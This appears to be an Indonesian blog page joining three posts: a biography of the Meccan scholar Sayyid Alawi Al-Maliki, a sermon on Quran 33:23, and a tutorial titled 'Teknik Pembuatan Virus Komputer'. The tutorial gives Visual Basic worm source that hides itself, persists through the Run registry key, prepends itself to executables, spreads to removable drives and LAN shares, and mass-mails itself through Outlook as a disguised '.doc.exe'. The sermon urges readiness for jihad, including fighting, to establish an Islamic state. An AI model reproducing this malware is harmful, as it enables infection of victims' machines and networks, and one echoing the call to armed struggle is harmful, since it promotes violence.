Ayah beliau, Sayyid Abbas, menjabat sebagai direktur Al-Maarif pada masa-masa belajarnya. Anak berbakti ini diajaknya berdiskusi mengenai materi-materi pelajaran yang diajarkan. Beban menghafal matan-matan ilmu beliau laksanakan dengan baik sehingga beliau lulus dan meraih syahadah tertinggi Al-Falah tahun 1346 H.
Semasa belajar, beliau termasuk murid yang diperhatikan guru-gurunya. Guru-gurunya berupaya merealisasikan cita-cita sang ayah yang pernah memohon kepada Allah agar menyejukkan mata dengan halaqah ilmu puteranya di Masjdil Haram. Untaian doa ayah dan doa Sayyid Ahmad bin Hasan Al-Atthas memiliki pengaruh yang berarti baginya dalam meningkatkan ilmu dan melanjutkan belajar di Masjidil Haram.
Ayah beliau senantiasa memotivasi dan memberikan support belajar. Dikatakan kepadanya: “Syahadah seseorang adalah ilmunya dan kemanfaatan ilmu itu bagi masyarakat.”

Guru-gurunya di Masjidil Haram :)
Sayyid Alawi masuk di antara jajaran pada penuntut ilmu di Masjidil Haram. Beliau menimba ilmu dari Syekh Umar Hamdan dan Syekh Muhammad Arabi. Beliau juga banyak belajar kepada Syekh Muhammad Ali bin Husain Maliki dan Syekh Muhammad Habibullah Asy-Syinqithi. Beliau menerima pelajaran Syathibiyah dari Syekh Ahmad At-Tiiji. Guru-guru tersebut sama memuji kerajinan, kesungguhan, dan ketekunannya.

Pengajar Terbelia di Masjidil Haram :)
Allah benar-benar menyejukkan mata ayah beliau manakala disaksikan sang putera pada tahun 1347 betul-betul menjadi pengajar di Madrasah Al-Falah dan diperkenankan mengajar di Masjidil Haram. Sayyid Alawi menyelenggarakan halaqah di hashwah Babussalam, padahal umurnya baru 20-an tahun. Halaqahnya dipenuhi para santri. Ayahnya memuji dan berterima kasih kepada Allah. Ayahnya turut mengikuti halaqah puteranya itu dan menganjurkan agar sang putera membuka pelajaran bagi masyarakat umum. Saran ayah ini beliau penuhi. Beliau menyelenggarakan halaqah bagi masyarakat umum. Dalam metode ceramahnya beliau mengulang sejarah Syekh Ibrahim Arab rahimahullah. Masyarakat umum mengambil faidah darinya. Pengajiannya diikuti lebih dari seribu orang.

Menerapkan Metode Pendidikan Modern :)
Dalam mengajar Sayyid Alawi menerapkan metode pendidikan modern. Beliau mempergunakan papan tulis sebagai sarana untuk menguraikan permasalahan, khususnya pada pelajaran Faraid. Beliau perintahkan santri menyelesaikannya. Pada pelajaran Nahwu, beliau memerintahkan santri membuat contoh, melakukan i’rab, dan seterusnya.

Produk Pendidikannya :)
Dari sentuhan tangan beliau keluar sekian banyak penuntut ilmu baik dari dalam negeri maupun dari kawasan negeri-negeri lain di dunia. Sebagian alumni berposisi sebagai hakim, ulama, dan pengajar. Para santri alumninya banyak menjadi perintis dan pelopor kemerdekaan dari kungkungan penjajahan di negerinya.

Kegiatan Kemasyarakatan :)
Kegiatan Sayyid Alawi tidak hanya terbatas mendidik santri dan menyebarkan ilmu. Beliau juga memiliki kegiatan ceramah agama di radio Saudi Arabia. Ini beliau pilih sebagai media melakukan terapi terhadap penyakit-penyakit sosial di masyarakat.
Beliau menduduki jabatan di berbagai lembaga keilmuan dan lembaga budaya. Pendapat-pendapatnya cemerlang. Beliau menjadi pengurus di lembaga perluasan Masjidil Haram. Beliau juga bertugas sebagai naib sebagaimana ayahnya. Konon akad nikah yang pernah diselenggarakannya mencapai lebih dari 20 ribu kali. Dalam hal ini beliau mempunyai kisah dan kesan yang menjadi bahan pembicaraan di forum-forum.
Di rumah beliau mempunyai perpustakaan besar yang dipenuhi beragama literatur keilmuan. Beliau menjadikan perpustakaan itu referensi bagi fatwa yang diajukan kepadanya dari berbagai belahan dunia Islam.

Kerajinannya dalam Mengajar :)
Sayyid Alawi merasa fres justru pada waktu mengajar saat beliau duduk bersama para santri. Beliau sempatkan mengajar walaupun sakit. Sekian kali beliau mengeluh sakit dan dinasehatkan oleh dokter agar beristirahat dan diam di rumah. Namun beliau mengelak dan berkata: “Istirahatku justru sewaktu mengajar. Seandainya Izrail datang mencabut ruhku, akan saya katakan kepadanya: “Tunggulah sehingga saya selesai mengajar pada malam ini.”
Atas dasar inilah beliau relakan mengajar suatu kali dalam keadaan demam dan kali yang lain dalam keadaan sakit kepala. Bahkan dalam keadaan ditimpa radang tenggorokan pun beliau tetap mengajar. Barangkali seseorang akan berkata: “Seandainya tuan beristirahat di rumah tentu lebih baik.” Beliau akan jawab: “Jika saya tidak sanggup mengajar maka saya bisa berobat dengan mendatangi majelis ilmu dan mendapat berkahnya.” Dalam kondisi ini beliau duduk sebentar di majelis, berdoa, lalu selesai.

Karakteristiknya :)
Sayyid Alawi lembut dalam bergaul, ucapan-ucapannya segar, senda-guraunya manis. Teman duduknya tidak jemu dengan pembicaraannya. Dalam pelajaran atau dalam suatu majelis beliau pasti mempersembahkan faedah-faedah keilmuan atau sentilan humor sehingga orang tidak berada di dekatnya kecuali berkonsentrasi, dan tidak beranjak dari majelisnya kecuali tersenyum gembira.

Memenuhi Kawasan Masjidil Haram :)
Salah satu murid beliau, Ustadz Ahmad Muhammad Jamal berkata bahwa Makkah dan Masjidil Haram sangat kehilangan ketika Sayyid Alawi Al-Maliki rahimahullah wafat pada tahun 1391 H. Kawasan Masjidil Haram beliau penuhi dengan majelis-majelis keilmuannya yang beragam. Majelisnya yang paling mengesankan adalah majelis pengajian Tafsir Al-Qur’an yang diselenggarakan antara Maghrib dan Isya. Pada majelis inilah saya menjadi murid beliau. Kami mengaji di suatu tempat yang kami kenal waktu itu bernama hashwah Babussalam.

Konsistensinya dalam Kegiatan Mengaja
r :)
Sayyid Alawi Al-Maliki rahimahullah dikenal cinta ilmu. Beliau menghabiskan waktu dan mencurahkan tenaga di dalam dunia keilmuan dalam bentuk yang tiada banding. Beliau mendapati di situ ketenangan dan kesegaran. Pelajaran yang disampaikannya sehari mencapai lebih dari 30 mata pelajaran. Hal ini tidak mengada-ada tetapi realitas karena disaksikan sendiri oleh para santrinya.
Beliau aktif memberikan pengajian tiada henti kecuali ada kebutuhan mendesak. Para santrinya sampai terkagum-kagum dan berkata: “Sesungguhnya guru kita lebih aktif daripada muridnya.” Pagi hari beliau berangkat ke Madrasah Al-Falah. Beliau menyampaikan tidak kurang dari empat materi. Lalu beranjak menuju masjid. Di situ beliau menyampaikan pengajian fiqh madzhab Maliki di Babus Shofa, baru setelah itu pulang ke rumah. Setelah Ashar para santri takhassus mengelilinginya. Masing-masing dengan membawa kitabnya. Satu santri membaca Balaghah. Satunya lagi membaca Nahwu. Lainnya membaca Faraid, Tauhid, Ushul Fiqh, Mustholah Hadits, Ilmu Tafsir, dan sebagainya. Allah memberkati waktunya sehingga masa yang sebentar itu bisa memuat 10 pelajaran.
Menjelang maghrib beliau berangkat ke masjid. Waktu yang sedikit ini pun beliau sibukkan dengan mengajar Syansyurah, komentar atas Rahabiyah.
Habis maghrib, beliau memberikan pengajian sekitar setengah jam lalu bangkit memberikan pengajian dengan pelajaran berbeda hingga waktu Isya.
Habis shalat Isya’ beliau memberikan pelajaran singkat dalam ilmu mantiq, disusul kemudian pelajaran hadits. Habis ini beliau pulang. Di rumah, sebelum beranjak istirahat, 10 sampai 15 santri sudah menunggunya. Masing-masing dengan membawa kitabnya. Sayyid Alawi berdiskusi dengan mereka hingga berlalu satu jam baru selesai.
Para penuntut ilmu tampak meluberi hashwah dengan segala macamnya. Suara beliau terdengar keras walau tanpa pengeras suara yang dikenal saat ini. Penyampaian beliau fasih, lancar, dan membekas.

Wafat :)
Pada tengah malam Rabu, 25 Shafar 1391 H, ulama besar ini wafat. Jenazahnya disholati di Masjidil Haram pada waktu Ashar hari itu. Jenazahnya diantarkan ke makam Al-Hujun atau yang lebih dikenal dengan Al-Ma’lah, oleh puluhan ribu orang dari penduduk Makkah, Jeddah, dan Madinah, suatu arak-arakan terbesar yang tidak pernah terjadi sejak 10 tahun belakangan. Peti jenazah diusung di atas pundak-pundak, sementara manusia yang berjubel itu menggemakan: “Laailaaha Illallah Muhammad Rasulullah”.
Ruas jalan dari Masjidil Haram ke makam penuh oleh para pengantar. Lalu para pengantar itu meluberi makam. Seakan-akan massa yang berjubel itu mengantar lebih dari 100 jenazah. ***

---------------- :D
Data-data dalam sekilas biografi ulama besar ini banyak kami dapatkan dari narasumber yang merupakan santri-santri beliau, di antaranya: Al-Allamah Asy-Syekh Abdullah Al-Lahji, Al-Allamah Asy-Syekh Ismail Usman, Al-Allamah Asy-Syekh Ahmad Jabir, dan guru kami, Asy-Syekh As-Sayyid Muhammad bin Alawi Al-Maliki.
Wallohu A'lam Bisshowab :y
Ya Allah jadikan kami termasuk orang-orang yang Al-Kayyis :y :) ;) 

Rabu, 09 Juli 2008

Ulama, Resiko Perjuangan dan Loyalitas kepada Islam

QS al Ahzaab : 23 :)

مِنَ الْمُؤْمِنِيْنَ رِجَالٌ صَدَقُوْا مَا عَاهَدُوا اللهَ عَلَيْهِ , فَمِنْهُمْ مَنْ قَضَى نَحْـبَهُ وَمِنْهُمْ مَنْ يَنْتَظِرْ وَمَا بَدَّلُوْا تَبْدِيْلا ً

“Dan sebagian dari orang – orang beriman ada para lelaki yang berlaku jujur terhadap janji mereka kepada Alloh hingga sebagian dari mereka ada yang telah menjemput kematian dan sebagian ada yang menunggu (kesyahidan) dan mereka sama sekali tidak mengganti (tetap teguh memegang janji)”

Sebab Nuzul Ayat :)

Menyesal tidak ikut serta dalam perang Badar, maka kali ini (menjelang perang Uhud) Anas bin Nadhr berkata, “Wahai Rosululloh, saya telah absen dalam awal peperangan engkau dengan kaum musyrik. Sungguh jika Alloh memberiku kesempatan dalam perang melawan kaum musyrik maka pasti anda akan melihat apa yang saya lakukan” ternyata janji ini betul – betul terlaksana. Di tengah perang Uhud saat pasukan Islam tertekan dan kocar kacir maka Anas dengan suara lantang mengatakan, “Ya Alloh saya memohon maaf atas apa yang dilakukan oleh teman – temanku dan saya lepas tangan dari apa yang dilakukan oleh kaum kafir” Anas kemudian maju menyerang musuh saat pasukan Islam justru mundur kewalahan. Sebelum itu ia sempat bertemu dengan Sa’ad bin Mu’adz dan berkata, “Hai Sa’ad, surga. Demi Tuhan Nadhr, aku telah mencium bau surga dari arah Uhud” akhirnya Anas tewas dengan tubuh tercabik- cabik dan nyaris tidak bisa dikenali andai saja saudara perempuannya tidak mengenali jari – jarinya. Disebutkan bahwa saat itu di tubuh Anas terdapat delapan puluh lebih luka tusukan tombak, sabetan pedang atau tancapan anak panah. Dari sinilah kemudian turun firman Alloh di atas. (Lihat Shohih Bukhori / 2805!)

Uraian Ayat :)

Para Nabi seperti Adam, Idris, Nuh, Hud, Sholih alaihimus sholaatu wassalaam dan seterusnya seluruhnya diutus oleh Alloh kepada umat manusia demi mengingatkan sebuah perjanjian yang pernah terikat saat di alam Dzar bahwa mereka pasti menyembah dan mengesakan Alloh. Jadi para nabi meskipun hanya untuk mengingatkan perjanjian, akan tetapi hal tersebut tidak bisa dijalankan hanya dengan kata – kata. Ternyata usaha mengingatkan tersebut harus dijalankan dengan modal tetesan air mata dan darah serta pahitnya cemoohan . Usaha menjadikan kalimat Tauhid Laa ilaaha illalloh agar eksis terpatri dalam hati manusia ternyata harus dibarengi pengorbanan harta benda dan nyawa. Ingat Nabi Syu’aib dan Yahya alaihimas salaam yang wafat oleh kebejatan tangan – tangan Yahudi kaumnya. Ingat pula Nabi Musa as yang harus meninggalkan kampung halaman demi menyelematkan diri dari kejaran Fir’aun dan pasukan. Nabi Isa as juga demikian, Beliau harus diangkat oleh Alloh agar selamat dari kejaran dan percobaan pembunuhan yang dilakukan oleh kaumnya Bani Isro’il La’natulloh alaihim. Nabi Ibrohim as juga demikian, semua sudah memaklumi bahwa demi menuhankan Alloh dan mengajak manusia supaya menuhankan Alloh, Beliau rela dan tanpa takut sedikitpun dilemparkan ke dalam nyala api. Rosululloh SAW juga demikian halnya, beberapa kali percobaan pembunuhan juga dilakukan oleh kaum kafir Makkah juga Yahudi Madinah.

Di lain pihak, perjuangan mereka membela dan mengibarkan panji Tauhid Laa ilaaha illalloh juga dikawal dengan ketat dan kuat oleh orang – orang yang beriman serta menjadi pengikut setia mereka. Nabi Isa as misalnya, dalam dakwah mengajak menuju Tauhid, Beliau dikawal dan didukung oleh loyalisnya yang disebut dengan Hawaariyyuun. Kepada Nabi Isa as mereka berjanji, “Kami adalah para penolong dan pendukung Risalah yang engkau emban” Alaqur’an mencatat janji mereka ini, “Wahai orang – orang beriman, jadilah kalian para penolong Alloh seperti halnya ketika Isa berkata, “Adakah orang yang menolongku menuju (menyembah) Alloh?” al Hawaariyyun menjawab, “Kami orang – orang yang menolong Alloh” QS Shoff: 14. Rosululloh SAW pun tidak berbeda dengan nabi Isa as, dalam upaya membebaskan manusia dari menyembah berhala, Beliau SAW tidak berjuang sendirian, Beliau juga mencari bantuan dan dukungan. Di setiap musim haji, Beliau SAW senantiasa menyerukan ajakan, “Adakah seorang yang mendukung dan memberi tempat bagiku? Sungguh orang – orang quresy telah menghalangiku dari menyampaikan Risalah Tuhanku” akhirnya datanglah suku Aus dan Khozroj dari Madinah dan berjanji jika Rosululloh SAW berhijroh ke sana maka mereka pasti menjadi penolong dan pembela serta teman setia Beliau SAW di jalan Jihad mengibarkan panji kalimat Tauhid di seluruh belahan dunia. Sungguh janji itu benar – benar mereka tepati, harta benda dan nyawa dengan mudah mereka korbankan dan bahkan di antara mereka terjadi perlombaan saling mendahului untuk berebut kesempatan berkorban harta maupun nyawa dan salah satunya adalah Anas bin Nadhr seperti disebutkan di atas. Bagi mereka, berperang merupakan kenikmatan tersendiri (ingat kisah perang Badar di mana pasukan Islam di tengah berkecamuk perang justru terserang rasa kantuk) karena menjemput salah satu dari dua hal indah; kemenangan atau gugur sebagai seorang Syahid. Firman Alloh SWT:

قُلْ هَلْ تَرَبَّصُوْنَ إِلاَّ إِحْدَى الْحُسْنَيَيْنِ

“Katakanlah: “Bukankah kalian tidak menunggu kecuali dua kebaikan?” QS al Ahzaab: 52.

Posisi Ulama dan penyakit “Wahan”

Jika para sahabat telah menjadi generasi terbaik sebagai pengawal dan peyokong dakwah Nabi Muhammad SAW. Kemudian dilanjutkan dengan generasi Tabiin dan santri Tabiin (Tabi’it Taabiin) maka perlu untuk diingat kembali akan posisi ulama sebagai pewaris para nabi. Warisan di sini bukan hanya warisan ilmu tetapi juga warisan pemikiran dan prilaku. Para ulama terdahulu telah berhasil menunjukkan peran sebagai pewaris para nabi dalam segala bidang, baik di bidang ilmu, pemikiran ataupun prilaku. Karena itulah tidak mengherankan jika ulama sekaliber Imam Ghozali yang banyak dikenal dengan kesufian justru dengan terang menyatakan dalam karya monumental Beliau yaitu Ihya’ Ulumiddin (1 / 29) bahwa, “Agama dan Kekuasaan adalah anak kembar yang tidak bisa dipisahkan. Agama itu dasar / pondasi sementara kekuasaan adalah penjaga. Sesuatu tanpa pondasi dipastikan akan roboh sedang sesuatu tanpa penjaga juga pasti akan hilang” ungkapan seperti ini menunjukkan bahwa ulama generasi terdahulu memang bukan hanya mewarisi ilmu dan prilaku tetapi pemikiran dan semangat para nabi juga menjelma dalam diri mereka. Karena itulah tidak sedikit dari mereka ikut ambil bagian dalam peperangan dalam rangka mempertahankan Khilafah Islam atau menyebar luaskan dakwah Islam. Abdulloh bin Mubarok misalnya, banyak sekali waktu yang telah Beliau lewatkan untuk berjihad kendati dalam kapasitas Beliau sebagai seorang ahli fiqih dan seorang yang Zuhud. Ada pula nama – nama lain seperti Abdul Wahid bin Zaid, Syaqiq al Balkhi atau Badrul Aini (penulis Syarah Shohih Bukhori), semua nama ini seluruhnya tercatat pernah turut serta dalam peperangan membela agama Alloh. Bahkan seorang ulama besar madzhab Mailiki bernama qodhi Asad bin al Furot pernah tampil sebagai panglima perang armada laut.

Di bumi Indonesia, tercatat pula nama Imam Bonjol atau Pangeran Diponegoro, seorang ulama yang dengan semangat memanggul senjata demi menegakkan Kalimat Tauhid di bumi Nusantara. Para wali songo juga tidak hanya meniru Rosululloh SAW dalam semangat menyebarkan agama, tetapi juga meneladani Beliau SAW dalam bagaimana menjaga agama ini ketika sudah dipeluk oleh obyek dakwah. Karena itulah para wali songo berjuang dengan gigih hingga berdirilah kesultanan Demak. Lalu bagaimana dengan pihak – pihak yang sekarang ini disebut dengan ulama, apakah mereka ingin dan layak disebut dengan pewaris para nabi?. Sungguh jika predikat sebagai pewaris nabi dan para penolong agama Alloh telah tersemat di pundak maka semestinya tidak ada pilihan lain kecuali mengarahkan arus perjuangan menuju berdirinya sebuah negara Islam di mana syariat Islam menjadi dasar peraturan dan perundang – undangan. Memang dengan mendirikan sebuah pesantren atau lembaga pendidikan Islam, seseorang berarti telah terjun dalam peperangan seperti dikatakan oleh Abu Darda’ ra:

إِنَّمَا تُقَاتِلُوْنَ بِأَعْمَالِكُمْ

“Sungguh kalian bisa berperang dengan amal – amal kalian” (Lihat Shohih Bukhori Kitaabul Jihad wassair bab 13).

Sebab upaya semacam ini oleh Rosululloh SAW juga dilakukan. Sewaktu di Makkah, pada permulaan dakwah Beliau SAW melakukan pembinaan di rumah Arqom bin Arqom di kaki bukit Shofa. Lalu ketika di Madinah pun Beliau kembali menjadikan emperan masjid Nabawi saat itu sebagai tempat membina dan menempa para kader yang tekenal dengan sebutan Ashhaabus Shuffah. Sunan Ampel pun demikian halnya, salah satu yang dilakukan oleh Beliau pada awal dakwah di bumi Jawa adalah mendirikan pesantren sehingga dari alumnus pesantren tersebut muncul Raden Fattah yang tercatat sebagai Sultan pertama kerajaan Islam Demak. Jadi pendirian pesantren atau lembaga pendidikan barulah langkah pertama untuk menuju ayunan langkah berikutnya hingga sampai pada puncaknya yaitu berdirinya Khilafah Islam. Memang untuk menuju ke sana bukanlah suatu hal yang mudah, di depan pasti banyak resiko, hambatan dan rintangan yang menghalang dan siap mematahkan. Jika demi kebebasan dan terlepas dari penjajahan para pejuang memiliki semboyan “Merdeka atau Mati” maka sudah semestinya demi Islam seseorang harus berani dan siap untuk berjihad yang salah satunya adalah berperang.

Belum lama ini terdengar pernyataan dari pihak tertentu yang isinya, “Kami menolak fomalisasi Syariat Islam dalam bentuk regulasi”. Lepas apa maksud pokok dari pernyataan ini yang jelas pada intinya tergambar dalam pernyataan ini rasa takut akan terjadi gesekan keras dengan pihak – pihak lain yang tidak setuju apabila syariat Islam menjadi dasar perundang - undangan. Atau dengan kata singkat bisa disimpulkan bahwa pernyataan tersebut muncul sebagai dampak penyakit Wahan yang salah satu akibat yang ditimbulkan adalah keengganan berpayah dan menanggung derita dalam mengemban dan memperjuangkan syariat Islam agar benar – benar secara utuh dilaksanakan di bumi yang dihuni oleh mayoritas umat Islam ini. Sungguh jika pihak tersebut telah dihinggapi penyakit Wahan maka dapat dibayangkan keadaan umat yang menjadikan pihak tersebut sebagai panutan. Tentu umat itu justru semakin parah terjangkiti penyakit Wahan. Rosululloh SAW bersabda:

" يُوْشِكُ اْلأُمَمُ أَنْ تَدَاعَى عَلَيْكُمْ كَمَا تَدَاعَى اْلأَكَلَةُ إلِىَ قَصْعَتِـهَا " فَقَالَ قَائِلٌ : وَمِنْ قِلَّةٍ نَحْنُ يَوْمَئِذٍ يَارَسُوْلَ اللهِ ؟ قَالَ : " بَلْ أَنْتُمْ يَوْمَئِذٍ كَثِيْرٌ وَلَكِنَّكُمْ غُثَاءٌ كَغُثَـاءِ السَّيْلِ وَلَيَنْزِعَنَّ اللهُ مِنْ صُدُوْرِ عَدُوِّكُمْ الْمَهَابَةَ مِنْكُمْ وَلَيقْذِفَنَّ اللهُ فِى قُلُوْبِكُمْ الْوَهْنَ " فَقَالَ قَائِلٌ : يَارَسُوْلَ اللهِ وَمَاالْوَهْنُ ؟ قَالَ , " حُبُّ الدُّنْيَا وَكَرَاهِيَةُ الْمَوْتِ "


“Hampir para umat saling memperebutkan kalian laksana para pemakan (berebut makanan untuk dimasukkan) ke dalam piring mereka” seorang bertanya, “Apakah saat itu kami sedikit wahai Rosululloh?” Beliau SAW menjawab, “Justru saat itu kalian banyak tetapi kalian tak ubahnya seperti buih banjir dan Alloh pasti mencabut rasa takut dari hati musuh kalian kepada kalian dan sungguh Dia pasti menaruh Wahan dalam hati kalian” seorang bertanya: Wahai Rosululloh, apakah Wahan itu? Beliau SAW menjawab: “Cinta dunia dan enggan mati” HR Abu Dawud.

Wallohu A'lam Bisshowab
Ya Alloh Jadikan Kami Termasuk Orang-orang Al-Kayyis :)  :) ;) ;)

About Virus

Teknik Pembuatan Virus Komputer

Syarat sebuah virus computer :
1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName

dan menambah ke registry :

Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable

Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < fnum =" FreeFile" tsignature =" Space$(5)"> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature

If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1
Call VirInstall 'instalasi virus
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If
'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize
OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode
fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop
fname = exePath & App.EXEName & fNum & ".exe"

On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub

Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub

Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi

Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")
If Not floppy_hwnd = 0 Then
Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub

Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer

On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")
For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)
Set Mail = Outlook.CreateItem(0)
Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
Mail.Send
Next
Next
finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

